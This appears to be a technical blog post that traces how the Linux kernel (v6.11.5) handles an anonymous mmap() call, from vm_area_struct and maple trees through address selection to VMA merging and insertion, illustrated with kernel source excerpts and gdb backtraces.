When we call [mmap()](https://man7.org/linux/man-pages/man2/mmap.2.html) in our userspace program, we’re looking to “map” some memory into our virtual address space. This could be a file or some anonymous memory (aka physical memory allocated for us to use), which can then be accessed via a virtual address in our processes’ virtual address space.

So a mapping in this context is essentially a virtual address range which is mapped to some physical memory. We can explore a processes mappings via procfs. Let’s see if we can find our programs 0x1000 byte mapping:

$ cat /proc/91280/maps
00400000-00401000 r--p 00000000 00:2b 12253872                           mm_example
00401000-0047c000 r-xp 00001000 00:2b 12253872                           mm_example
0047c000-004a4000 r--p 0007c000 00:2b 12253872                           mm_example
004a4000-004a9000 r--p 000a3000 00:2b 12253872                           mm_example
004a9000-004ab000 rw-p 000a8000 00:2b 12253872                           mm_example
004ab000-004b1000 rw-p 00000000 00:00 0 
15b3e000-15b60000 rw-p 00000000 00:00 0                                  [heap]
7f556e60a000-7f556e60b000 rw-p 00000000 00:00 0 
7f556e60b000-7f556e60d000 r--p 00000000 00:00 0                          [vvar]
7f556e60d000-7f556e60f000 r--p 00000000 00:00 0                          [vvar_vclock]
7f556e60f000-7f556e611000 r-xp 00000000 00:00 0                          [vdso]
7ffd933f4000-7ffd93415000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

We can see even our simple program has quite a few mappings, but let’s not get distracted! There, at 7f556e60a000, we can see our anonymous mapping! It spans 0x1000 bytes and has the rw permissions we expect, neat!

So now we have a general idea of what a mapping is, how exactly does the kernel represent and manage our processes mappings? Queue [struct vm_area_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L664)!

struct vm_area_struct

/*
 * This struct describes a virtual memory area. There is one of these
 * per VM-area/task. A VM area is any part of the process virtual memory
 * space that has a special rule for the page-fault handlers (ie a shared
 * library, the executable area etc).
 */
struct vm_area_struct {
	union {
		struct {
			/* VMA covers [vm_start; vm_end) addresses within mm */
			unsigned long vm_start;
			unsigned long vm_end;
		};
#ifdef CONFIG_PER_VMA_LOCK
		struct rcu_head vm_rcu;	/* Used for deferred freeing. */
#endif
	};

	struct mm_struct *vm_mm;	/* The address space we belong to. */
	pgprot_t vm_page_prot;          /* Access permissions of this VMA. */

	union {
		const vm_flags_t vm_flags;
		vm_flags_t __private __vm_flags;
	};

#ifdef CONFIG_PER_VMA_LOCK
	/* Flag to indicate areas detached from the mm->mm_mt tree */
	bool detached;

	int vm_lock_seq;
	struct vma_lock *vm_lock;
#endif

	/*
	 * For areas with an address space and backing store,
	 * linkage into the address_space->i_mmap interval tree.
	 *
	 */
	struct {
		struct rb_node rb;
		unsigned long rb_subtree_last;
	} shared;

	/*
	 * A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma
	 * list, after a COW of one of the file pages.	A MAP_SHARED vma
	 * can only be in the i_mmap tree.  An anonymous MAP_PRIVATE, stack
	 * or brk vma (with NULL file) can only be in an anon_vma list.
	 */
	struct list_head anon_vma_chain; /* Serialized by mmap_lock &
					  * page_table_lock */
	struct anon_vma *anon_vma;	/* Serialized by page_table_lock */

	/* Function pointers to deal with this struct. */
	const struct vm_operations_struct *vm_ops;

	/* Information about our backing store: */
	unsigned long vm_pgoff;		/* Offset (within vm_file) in PAGE_SIZE
					   units */
	struct file * vm_file;		/* File we map to (can be NULL). */
	void * vm_private_data;		/* was vm_pte (shared mem) */

#ifdef CONFIG_ANON_VMA_NAME
	/*
	 * For private and shared anonymous mappings, a pointer to a null
	 * terminated string containing the name given to the vma, or NULL if
	 * unnamed. Serialized by mmap_lock. Use anon_vma_name to access.
	 */
	struct anon_vma_name *anon_name;
#endif
#ifdef CONFIG_SWAP
	atomic_long_t swap_readahead_info;
#endif
#ifndef CONFIG_MMU
	struct vm_region *vm_region;	/* NOMMU mapping region */
#endif
#ifdef CONFIG_NUMA
	struct mempolicy *vm_policy;	/* NUMA policy for the VMA */
#endif
#ifdef CONFIG_NUMA_BALANCING
	struct vma_numab_state *numab_state;	/* NUMA Balancing state */
#endif
	struct vm_userfaultfd_ctx vm_userfaultfd_ctx;
} __randomize_layout;

Perhaps understandably, there’s a lot going on here! But this is the structure, referred to as a vma, that describes the virtual memory areas of a process. For example, you can see at the top vm_start and vm_end define the star and end addresses of the vma; just below that vm_mm holds a reference to the mm the vma belongs etc.

We’ll touch more on each field as it becomes relevant, but I just wanted to introduce the structure here rather than trying to wedge it in when it crops up down the line.

mm->mm_mt

Okay, so a vma describes a single memory area, but as we saw, even our little program has quite a few memory areas - how are these all managed? Good question!

Each process is responsible for tracking its memory areas, and as we know, each process’s memory is managed by a [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779)! So this is where we’ll find our answer:

struct mm_struct {
		// SNIP
		struct maple_tree mm_mt;

include/linux/mm_types.h

Previously, this would have been struct rb_root mm_rb;, but since 6.1 the kernel moved from red-black trees to the [maple_tree](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/maple_tree.h#L219) data structure for vma management.

I’m but a humble researcher, so if you’re interested in diving more into maple tree internals, this LWN article does a great job introducing maple trees (alternatively, head straight to the kernel docs). Suffice it to say it’s a cache-optimised, low memory footprint data structure ideal for storing non-overlapping ranges - perfect for vmas!

The key details to highlight are that:

• mm_mt is the tree of vmas belonging to the mm_struct’s process,
• A VMA is represented as a node within the tree, but the tree is also able to track gaps between these VMAs (i.e. gaps in the virtual address space)
• The maple tree data structure comes with its own normal and advanced API, but there are also a set of wrapper functions specifically for handling vma maple tree usage

do_mmap()

/*
 * The caller must write-lock current->mm->mmap_lock.
 */
unsigned long do_mmap(struct file *file, unsigned long addr,
			unsigned long len, unsigned long prot,
			unsigned long flags, vm_flags_t vm_flags,
			unsigned long pgoff, unsigned long *populate,
			struct list_head *uf)
{

mm/mmap.c

Okay, let’s get back to it! For some context, upon entering [do_mmap()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1255):

• file is NULL as we’re mapping anonymous memory ([MAP_ANONYMOUS](https://elixir.bootlin.com/linux/v6.11.5/source/include/uapi/asm-generic/mman-common.h#L23)), i.e. we’re not mapping a file into our userspace process, but a chunk of “anonymous” physical memory.
• vm_flags stores the flags used for the virtual memory mapping we’re creating. In this case, the caller [vm_mmap_pgoff()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/util.c#L575) does not specify any flags.
• populate is an unsigned long* initialised by do_mmap() and read by the caller, to determine if the mapping should be “populated” before returning to userspace. We’ll touch more on the significance of that later, just know that a mapping is populated when MAP_POPULATE is set and MAP_NONBLOCK is not (so not our case study).
• uf, which relates to [userfaultfd(2)](https://man7.org/linux/man-pages/man2/userfaultfd.2.html), is a linked list initialised by the caller. It’s not touched in do_mmap() and probably out of scope for this series anyway, so we’ll ignore it for now.  
• addr, len, prot, flags, pgoff all correspond to the same values we passed into mmap(2) from our userspace program.

Okay, so what’s the goal of this function? We know from exploring the previous functions in the call stack that the return value is the value that mmap(2) returns to userspace: on success, the userspace address of the mapping; on error, the MAP_FAILED value ((void *) -1).  So where does do_mmap(2)’s return value come from?

unsigned long do_mmap(struct file *file, unsigned long addr,
			unsigned long len, unsigned long prot,
			unsigned long flags, vm_flags_t vm_flags,
			unsigned long pgoff, unsigned long *populate,
			struct list_head *uf)
{
	// SNIP
	addr = mmap_region(file, addr, len, vm_flags, pgoff, uf);
	// SNIP
	return addr;
}

mm/mmap.c

Hm, so it looks like the rabbit hole goes deeper! do_mmap(2)’s job is to process and sanitise its arguments so that they can be passed to mmap_region(2) which sets up up the actual memory mapping (right??? surely there’s no more calls).

More specifically, do_mmap() has a few responsibilities, including:

• Sanitising values and performing any necessary checks, such as preventing overflows or stopping the user exceeding the maximum mapping count defined by [sysctl_max_map_count](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L202).
• Calculating the correct vm_flags, which are later applied to the struct vm_area_struct created for this mapping, based off of various factors such as prot, flags, mm->def_flags etc.
• Determining what userspace virtual address, stored in addr, is passed to [mmap_region()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L2849).

Finding A Suitable addr

In order to find a suitable addr for our new memory mapping, broadly speaking, there’s two general cases for do_mmap() to consider:

• Case A: flags includes MAP_FIXED | MAP_FIXED_NOREPLACE
• Case B: flags doesn’t include MAP_FIXED | MAP_FIXED_NOREPLACE (our case)

For Case A, the fixed addr specified by the user is passed to mmap_region(). However, the virtual address range spanned by this new mapping (addr to addr + len) might overlap existing ones. The default behaviour is to unmap the overlapped part. If MAP_FIXED_NOREPLACE is set though, do_mmap() will return -EEXIST if the new mapping will end up overlapping any existing ones.

Otherwise, in case B, the kernel will determine the addr. The value of addr passed by the user is actually used as a hint about where to place the mapping. Note the “hint” addr is page aligned and rounded to a minimum value of mmap_min_addr[1] by [round_hint_to_min()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1194) (which will happen in our case, as addr == 0).

In either case, [__get_unmapped_area()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1923) is called to determine an appropriate addr:

	/* Obtain the address to map to. we verify (or select) it and ensure
	 * that it represents a valid section of the address space.
	 */
	addr = __get_unmapped_area(file, addr, len, pgoff, flags, vm_flags);
	if (IS_ERR_VALUE(addr))
		return addr;

mm/mmap.c

To avoid getting to lost in the sauce, we’ll skim over this function. Essentially it does some more sanitisation and checks. This includes another LSM hook (mmap_addr) on the addr yielded at the end of this function, as well as an arch specific check (arch_mmap_check()) which is currently only used by arm and sparc.

The approach used to get the unmapped area depends on a few factors:

• If its a file, some file types may implement their own method to get an area.
• If it’s a shared anonymous mapping, rather than directly allocating physical memory it actually uses a special shmem (shared memory) file (maybe we’ll touch on this later)
• Finally, if neither case (i.e. MAP_PRIVATE | MAP_ANON), it will use either [thp_get_unmapped_area_vmflags()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/huge_memory.c#L926) (if CONFIG_TRANSPARENT_HUGEPAGE=y) or [mm_get_unmapped_area_vmflags()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1911) - this is the case we’re interested in!

Transparent Huge Pages (THPs) are a kernel feature for … you guessed it! Enabling huge pages, transparently! Currently for anonymous memory mappings and tmpfs/shmem.

If we recall our page primer, pages are typically defined as 4KB (0x1000 bytes) chunks of physical memory. A “huge page” here is 2M (0x200000 bytes) in size. So the tl;dr here is that thp_get_unmapped_area_vmflags() will try and align the addr to a 2M boundary so that it can be used as a huge page automatically (AKA transparently!). It’s okay if this doesn’t make total sense yet, as we’ll cover paging in more detail soon!

Either way it will end up using mm_get_unmapped_area_vmflags(), so that’s where we’ll go next! Well, briefly. Because this function will then call into an arch specific function depending on if the MMF_TOPDOWN bit is set in our processes’ mm->flags. This determines whether we’ll search from the top or bottom of our address space for an unmapped area.

On x86_64 this is set, which leads us to [arch_get_unmapped_area_topdown_vmflags()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/kernel/sys_x86_64.c#L161):

(gdb) bt
#0  arch_get_unmapped_area_topdown_vmflags (filp=0x0 <fixed_percpu_data>, addr0=0, len=4096, pgoff=0, flags=34, vm_flags=115)
    at arch/x86/kernel/sys_x86_64.c:164
#1  0xffffffff81244143 in mm_get_unmapped_area_vmflags (mm=<optimized out>, filp=filp@entry=0x0 <fixed_percpu_data>, addr=addr@entry=0, 
    len=len@entry=4096, pgoff=pgoff@entry=0, flags=flags@entry=34, vm_flags=115) at mm/mmap.c:1917
#2  0xffffffff81294a5d in thp_get_unmapped_area_vmflags (filp=0x0 <fixed_percpu_data>, addr=0, len=4096, pgoff=0, flags=34, vm_flags=115)
    at mm/huge_memory.c:937
#3  thp_get_unmapped_area_vmflags (filp=0x0 <fixed_percpu_data>, addr=0, len=len@entry=4096, pgoff=0, flags=34, vm_flags=115)
    at mm/huge_memory.c:926
#4  0xffffffff81244284 in __get_unmapped_area (file=file@entry=0x0 <fixed_percpu_data>, addr=<optimized out>, len=len@entry=4096, 
    pgoff=<optimized out>, pgoff@entry=0, flags=flags@entry=34, vm_flags=vm_flags@entry=115) at mm/mmap.c:1957
#5  0xffffffff8124725d in do_mmap (file=file@entry=0x0 <fixed_percpu_data>, addr=<optimized out>, addr@entry=0, len=len@entry=4096, 
    prot=prot@entry=3, flags=flags@entry=34, vm_flags=115, vm_flags@entry=0, pgoff=0, populate=0xffffc9000076bee8, uf=0xffffc9000076bef0)
    at mm/mmap.c:1325
#6  0xffffffff812160c7 in vm_mmap_pgoff (file=0x0 <fixed_percpu_data>, addr=0, len=4096, prot=3, flag=34, pgoff=0) at mm/util.c:588
#7  0xffffffff81f8e8fe in do_syscall_x64 (regs=0xffffc9000076bf58, nr=<optimized out>) at arch/x86/entry/common.c:52
#8  do_syscall_64 (regs=0xffffc9000076bf58, nr=<optimized out>) at arch/x86/entry/common.c:83
#9  0xffffffff82000130 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121

We made it! Okay, let’s dig into how the address is fetched by walking through the function. There are various checks but for brevity I will focus on the addr finding:

unsigned long
arch_get_unmapped_area_topdown_vmflags(struct file *filp, unsigned long addr0,
			  unsigned long len, unsigned long pgoff,
			  unsigned long flags, vm_flags_t vm_flags)
{
	struct vm_area_struct *vma;
	struct mm_struct *mm = current->mm;
	unsigned long addr = addr0;
	struct vm_unmapped_area_info info = {};
    
	// SNIP
    
	if (flags & MAP_FIXED)
		return addr;

arch/x86/kernel/sys_x86_64.c

If MAP_FIXED is set, addr is returned as-is, no questions asked.

	if (addr) {
		addr &= PAGE_MASK;                              [0]
		if (!mmap_address_hint_valid(addr, len))        [1]
			goto get_unmapped_area;

		vma = find_vma(mm, addr);                       [2]
		if (!vma || addr + len <= vm_start_gap(vma))
			return addr;                            [3]
	}

arch/x86/kernel/sys_x86_64.c

If a hint is set (i.e. addr != 0) then the function will check if that address range is free. It does this by first making sure the addr is page aligned [0] and does another validation check on the addr [1]. The comment for [mmap_address_hint_valid()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/mm/mmap.c#L209) does a good job describing why this check is needed!

To check if the address range our new mapping will use is free, it calls [find_vma()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L2014) [2] - this function returns the first memory region at or AFTER addr in our mm. If no mapping is returned (!vma) then the address space after addr is free and we’re good to go.

However, if there is a mapping somewhere at or after addr, we need to make sure it starts AFTER the end of our new mapping. It does this by comparing where our new mapping will end  (addr + len) and the start address of the vma ([vm_start_gap(vma)](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L3513); the gap part is because the function factors in any potential padding). If there’s no overlap, our mapping’s area is unmapped and we can use the hint! [3]

struct vm_unmapped_area_info {
	unsigned long flags;        // informs search behaviour
	unsigned long length;       // length of the mapping in bytes
	unsigned long low_limit;    // lowest vaddr to start at
	unsigned long high_limit;   // highest vaddr to end at
	unsigned long align_mask;   // alignment mask the addr must satisfy
	unsigned long align_offset; // 
	unsigned long start_gap;    // minimum gap required before mapping
};

include/linux/mm.h

If the hint isn’t valid or overlaps an existing mapping, the function will proceed to the get_unmapped_area label which will populate the [struct vm_unmapped_area_info](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L3443), which describes the properties and constraints of our new mapping.

Remember, as we’re searching topdown, high_limit defines the start point (base) for our search. So how is this calculated? By default, the function will use the value that is handily stored in mm->mmap_base (the base user vaddr for topdown allocations). But what is this?

From these slides by Adrian Huang

Let’s remind ourselves of the x86_64 process virtual address space. We can see that mm->mmap_base sits at the upper end of the address space, just below the stack (and its guard gap). This diagram is the “canonical” address space and assumes a typical 47-bits (out of the 64, on a 64-bit system) are used for the virtual address.

However, more bits may be used for the virtual address on some systems. So while the implementation defaults to mmap_base as the high_limit, if the hint is outside of this window, then the high_limit will instead be set to the true upper bounds of the user virtual address space (where TASK_SIZE_MAX defines the size virtual user address space).

	info.high_limit = get_mmap_base(0);
	// SNIP

	/*
	 * If hint address is above DEFAULT_MAP_WINDOW, look for unmapped area
	 * in the full address space.
	 *
	 * !in_32bit_syscall() check to avoid high addresses for x32
	 * (and make it no op on native i386).
	 */
	if (addr > DEFAULT_MAP_WINDOW && !in_32bit_syscall())
		info.high_limit += TASK_SIZE_MAX - DEFAULT_MAP_WINDOW;

arch/x86/kernel/sys_x86_64.c

The info structure is then passed to [vm_unmapped_area(&info)](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1765) which will do the search. As we specify VM_UNMAPPED_AREA_TOPDOWN in flags, it uses the [unmapped_area_topdown(info)](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1714) implementation.

Using the magic of gdb, we can set a breakpoint to examine the info structure for our program’s mapping to make sure everything aligns with our understanding:

(gdb) p/x *((struct vm_unmapped_area_info*)info)
$2 = {
  flags = VM_UNMAPPED_AREA_TOPDOWN, 
  length = 0x1000,                  // our mapping len
  low_limit = 0x1000,               // default low_limit
  high_limit = 0x7f4bc62a3000,      // mmap_base (highest bit set is 47)
  align_mask = 0x0, 
  align_offset = 0x0, 
  start_gap = 0x0
}

Now unmapped_area_topdown() has all the information it needs to search the address space from high_limit to low_limit, looking for a gap that fits our mapping of len (taking into account any alignment or gaps required before the mapping):

static unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info)
{
	// SNIP
	VMA_ITERATOR(vmi, current->mm, 0);
		
	// SNIP
    
	if (vma_iter_area_highest(&vmi, low_limit, high_limit, length))
		return -ENOMEM;

	gap = vma_iter_end(&vmi) - info->length;
	gap -= (gap - info->align_offset) & info->align_mask;
	gap_end = vma_iter_end(&vmi);

mm/mmap.c

Remember those maples trees we spoke about at the beginning? Well now it’s all going to come in handy! [VMA_ITERATOR()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L1114) is a macro used to initialise an iterator, vmi, for iterating (!) the vmas of a process (our current->mm in this case).

The main logic is then handled by the handy [vma_iter_area_highest()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/internal.h#L1411). This function wraps the advanced maple tree API, mas_empty_area_rev(), to find the first gap (i.e. a range not spanned by a node/vma) of length bytes, working from high_limit down to low_limit. And just like that we’ve done our topdown search!

There are then some additional checks to make sure it conforms with the supplied info plus some additional error cases but that’s the general gist of it. We did it! That’s how we find an unused virtual address for our mapping … at least for the default topdown case on an x86_64 system …

For context, this is where we are in the callstack at this point:

#0  0xffffffff81243e86 in unmapped_area_topdown (info=<optimized out>) at mm/mmap.c:1719
#1  vm_unmapped_area (info=info@entry=0xffffc900004b7d80) at mm/mmap.c:1770
#2  0xffffffff81037ce5 in arch_get_unmapped_area_topdown_vmflags (filp=0x0 <fixed_percpu_data>, addr0=0, len=4096, pgoff=0, flags=34, 
    vm_flags=<optimized out>) at arch/x86/kernel/sys_x86_64.c:219
#3  0xffffffff81244143 in mm_get_unmapped_area_vmflags (mm=<optimized out>, filp=filp@entry=0x0 <fixed_percpu_data>, addr=addr@entry=0, 
    len=len@entry=4096, pgoff=pgoff@entry=0, flags=flags@entry=34, vm_flags=115) at mm/mmap.c:1917
#4  0xffffffff81294a5d in thp_get_unmapped_area_vmflags (filp=0x0 <fixed_percpu_data>, addr=0, len=4096, pgoff=0, flags=34, vm_flags=115)
    at mm/huge_memory.c:937
#5  thp_get_unmapped_area_vmflags (filp=0x0 <fixed_percpu_data>, addr=0, len=len@entry=4096, pgoff=0, flags=34, vm_flags=115)
    at mm/huge_memory.c:926
#6  0xffffffff81244284 in __get_unmapped_area (file=file@entry=0x0 <fixed_percpu_data>, addr=<optimized out>, len=len@entry=4096, 
    pgoff=<optimized out>, pgoff@entry=0, flags=flags@entry=34, vm_flags=vm_flags@entry=115) at mm/mmap.c:1957
#7  0xffffffff8124725d in do_mmap (file=file@entry=0x0 <fixed_percpu_data>, addr=<optimized out>, addr@entry=0, len=len@entry=4096, 
    prot=prot@entry=3, flags=flags@entry=34, vm_flags=115, vm_flags@entry=0, pgoff=0, populate=0xffffc900004b7ee8, uf=0xffffc900004b7ef0)
    at mm/mmap.c:1325
#8  0xffffffff812160c7 in vm_mmap_pgoff (file=0x0 <fixed_percpu_data>, addr=0, len=4096, prot=3, flag=34, pgoff=0) at mm/util.c:588
#9  0xffffffff81f8e8fe in do_syscall_x64 (regs=0xffffc900004b7f58, nr=<optimized out>) at arch/x86/entry/common.c:52
#10 do_syscall_64 (regs=0xffffc900004b7f58, nr=<optimized out>) at arch/x86/entry/common.c:83

We’re going to head back up to do_mmap() and cover the final bit of logic for the mapping process: mmap_region().

mmap_region()

	addr = mmap_region(file, addr, len, vm_flags, pgoff, uf);

mm/mmap.c

Okay! Can you believe we’re still on the first system call of our “simple” program?! There’s not long left now though! We’re back in do_mmap() and the pieces are set:

• file is NULL as we’re mapping anonymous memory, not a file, in our address space
• addr, as we’ve just painstakingly discovered, now contains a suitable virtual address for our mapping
• len is the length of our mapping in bytes
• vm_flags has been populated in do_mmap() from a combination of the prot and flags we passed to mmap() as well as the mm->def_flags
• pgoff is zero, right? hah, well … for anonymous MAP_PRIVATE mappings, do_mmap() will set pgoff = addr >> PAGE_SHIFT;. But pgoff is for file offsets, and we’re not mapping a file?! The tl;dr here is this acts as an identifier for anonymous vmas (I’m sure we’ll touch on this later).
• uf, the userfault list stuff, is still untouched and probably still out of scope for the post

Now we’re ready to jump into mmap_region()! The goal of this function is to do the actual “mapping” part of mmap(), which essentially means making sure our mapping (len bytes at addr with vm_flags properties) is represented by a struct vm_area_struct and stored in the mm->mm_mt. Sounds simple enough, right?

Well … as you might expect, there are a lot of cases, edge cases and validation that needs to be done to do this correctly. For now we’ll continue to focus on those relating specifically to anonymous mappings and our case study.

unsigned long mmap_region(struct file *file, unsigned long addr,
		unsigned long len, vm_flags_t vm_flags, unsigned long pgoff,
		struct list_head *uf)
{
	struct mm_struct *mm = current->mm;
	struct vm_area_struct *vma = NULL;
	struct vm_area_struct *next, *prev, *merge;
// SNIP
	VMA_ITERATOR(vmi, mm, addr);

mm/mmap.c

Right off the bat we can see the VMA_ITERATOR() macro again, which will be doing a lot of heavy lifting in this function for navigating the mm->mm_t maple tree. Note that it’s initialised with our addr, so the iterator will be initialised with addr as its index.

	/* Check against address space limit. */
	if (!may_expand_vm(mm, vm_flags, len >> PAGE_SHIFT)) {
		unsigned long nr_pages;
		// SNIP     
	}

	/* Unmap any existing mapping in the area */
	error = do_vmi_munmap(&vmi, mm, addr, len, uf, false);
	// SNIP

mm/mmap.c

Next we do some housekeeping. First is a check to make sure “the calling process may expand its vm space by the passed number of pages” ( len >> PAGE_SHIFT is a quick way to convert len bytes to the page count equivalent). This involves checking against any resource limits.

Then, we hit a quirk of MAP_FIXED behaviour we touched one earlier. Notably, when looking for an unmapped area, by default we’ll get an addr that does not overlap any existing mappings for len bytes. However, if MAP_FIXED is passed, it will just use the addr passed by the user (as long as its valid), regardless of overlaps.

If it does overlap any existing mappings, these will get unmapped. This behaviour is implemented by do_vmi_munmap(), which uses the vma iterator to unmap any vmas whose start address lies in addr to addr + len. Note mappings can be “sealed”[2] and can’t be unmapped like this, causing the current mmap() to fail.

	next = vma_next(&vmi);
	prev = vma_prev(&vmi);

mm/mmap.c

Next, the iterator is used to fetch first vma from where the iterator starts (i.e. the next vma after addr) and the first vma prior to where the iterator stars (i.e. the first vma before addr). mmap_region() will then check the following cases:

• Can we merge the new mapping with the next vma instead of creating a new vma?
• Can we merge the new OR merged mapping with the prev vma?
• Some mappings, denoted by VM_SPECIAL, can’t be merged.
• If no merging is possible, allocate a new vma, initialise it and insert it into the mm->mm_mt

VMA Merging

	/* Attempt to expand an old mapping */
	/* Check next */
	if (next && next->vm_start == end && !vma_policy(next) &&
	    can_vma_merge_before(next, vm_flags, NULL, file, pgoff+pglen,
				 NULL_VM_UFFD_CTX, NULL)) {

mm/mmap.c

A few things need to be checked to determine if we can expand an existing vma, instead of allocating a new struct vm_area_struct for our new mapping.

Let’s look at the first case: can we merge the new mapping with the next vma? First, there needs to be a next mapping and it needs to be adjacent to where our new mapping would go (i.e. the end of our new mapping, is the start of next).

Then ![vma_policy(next)](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L765) makes sure next doesn’t have it’s own specific NUMA policy (memory stuff, stored in vma->vm_policy). Finally [can_vma_merge_before()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L813) carries out this remaining checks, which basically involves:

• Checking if the vm_flags, file etc. are compatible. Also, if it has it’s own vma->vm_ops->close to be called when the vma is closed, it won’t be merged.
• If next is an anonymous vma cloned from a parent process, it won’t be merged.

If these checks are passed, next will be expanded to include our new mapping. Either way, similar checks will then be made for prev. If those checks pass, either:

• next didn’t merge, in which case we’ll expand prev to include the new mapping
• next did merge, in which case prev will be expanded to include the new mapping AND next.

If these checks fail a vma will be allocated for our new mapping.

VMA Allocation

So, there’s no one for our mapping to merge with. In this case, a new vma will be allocated, initialised and insert into the mm->mm_mt tree:

	vma = vm_area_alloc(mm);                           [0]
	// SNIP

	vma_iter_config(&vmi, addr, end);                  [1]
	vma_set_range(vma, addr, end, pgoff);              [2]
	vm_flags_init(vma, vm_flags);                      [3]
	vma->vm_page_prot = vm_get_page_prot(vm_flags);    [4]

	if (file) {                                        [5]
		// SNIP
	} else if (vm_flags & VM_SHARED) {                 [6]
		// SNIP
	} else {                                           [7]
		vma_set_anonymous(vma);
	}

	if (map_deny_write_exec(vma, vma->vm_flags)) {     [8]
		error = -EACCES;
		goto close_and_free_vma;
	}

	/* Allow architectures to sanity-check the vm_flags */
	error = -EINVAL;
	if (!arch_validate_flags(vma->vm_flags))
		goto close_and_free_vma;

	error = -ENOMEM;
	if (vma_iter_prealloc(&vmi, vma))                  [9]
		goto close_and_free_vma;

	/* Lock the VMA since it is modified after insertion into VMA tree */
	vma_start_write(vma);                              [10]
	vma_iter_store(&vmi, vma);                         [11]
	mm->map_count++;                                   [12]

mm/mmap.c

Most of this is fairly straightforward: we allocate a new struct vm_area_struct [0], update the iterator [1], update the vma start/end/pgoff [2], its flags and protections [3][4].

Next, there’s some mapping type specific initialisation depending on if its a file-backed [5], shared anonymous [6] or private anonymous mapping [7]. In this case, [vma_set_anonymous()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L909) simply sets vma->vm_ops = NULL. This field being NULL is what determines it as (private) anonymous vma (as seen by the equivalent [vma_is_anonymous()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L914) check).

There is then a security check [8], [map_deny_write_exec()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mman.h#L192), which will prevent the creation of mapping with write and execute permissions if the mm has the MMF_HAS_MDWE flag set (note a similar check is also done by selinux via the mmap_file hook).

Finally, our vma is ready to be inserted into the mm->mm_mt, this is done by first preallocating enough nodes for the insertion (store) [9].

Then, if CONFIG_PER_VMA_LOCK=y, the per-vma write lock will be taken [10], which acts as a r/w semaphore in practice. This is interesting, because you might notice there is no subsequent [vma_start_write()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L740). That’s because all vma write locks are unlocked automatically when the mmap write lock is released, read more here.  

Finally our new mapping is inserted into the mm->mm_mt tree via the iterator [11], using [vma_iter_store()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/internal.h#L1437), and the processes’ total mapping count is updated [12].

Final Bits

	vm_stat_account(mm, vm_flags, len >> PAGE_SHIFT);
	// SNIP
    
	/*
	 * New (or expanded) vma always get soft dirty status.
	 * Otherwise user-space soft-dirty page tracker won't
	 * be able to distinguish situation when vma area unmapped,
	 * then new mapped in-place (which must be aimed as
	 * a completely new data area).
	 */
	vm_flags_set(vma, VM_SOFTDIRTY);

	vma_set_page_prot(vma);

	validate_mm(mm);
	return addr;

mm/mmap.c

There’s some bits we’ve skipped related to files or huge pages, but eventually we’ll get here to the end of the function (we’re almost there!!). So what’s left to do?

Some accounting of course! [vm_stat_account()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L3612) updates various mm stat fields tracking the types of mappings, including: mm->total_vm (total pages), mm->exec_vm, mm->stack_vm and mm->data_vm (private, writable, not stack).

Now, regardless of whether this is a new or expanded vma, the VM_SOFTDIRTY flag is set. Dirty is memory management speech for “this has been modified btw!”. Typically this is in the context of changes to a file in memory that aren’t written to disk yet. Here, if CONFIG_MEM_SOFT_DIRTY=y, is used this bit is set to indicate that that the vma has been modified (as I understand it, the “soft” part means it doesn’t require immediate action by the kernel, but will be checked when the next relevant action is taken). We’ll touch more on what these “actions” are in the next section when we cover paging.

[vma_set_page_prot()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L90) will update vma->vm_page_prot to reflect vma->vm_flags. Next is [validate_mm()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L322), which is a debugging function that validates the state of the memory mappings. This is only enabled on debug builds with CONFIG_DEBUG_VM_MAPLE_TREE=y.

And last, but not least, we return the addr of our new mapping, which will propagate back, if all is valid, to the return value of the userspace mmap() call.

#0  mmap_region (file=file@entry=0x0 <fixed_percpu_data>, addr=addr@entry=140379443372032, len=len@entry=4096, vm_flags=vm_flags@entry=115, 
    pgoff=pgoff@entry=34272325042, uf=uf@entry=0xffffc900006bbef0) at mm/mmap.c:2852
#1  0xffffffff81247544 in do_mmap (file=file@entry=0x0 <fixed_percpu_data>, addr=140379443372032, addr@entry=0, len=len@entry=4096, 
    prot=<optimized out>, prot@entry=3, flags=flags@entry=34, vm_flags=<optimized out>, vm_flags@entry=0, pgoff=<optimized out>, 
    populate=0xffffc900006bbee8, uf=0xffffc900006bbef0) at mm/mmap.c:1468
#2  0xffffffff812160c7 in vm_mmap_pgoff (file=0x0 <fixed_percpu_data>, addr=0, len=4096, prot=3, flag=34, pgoff=0) at mm/util.c:588
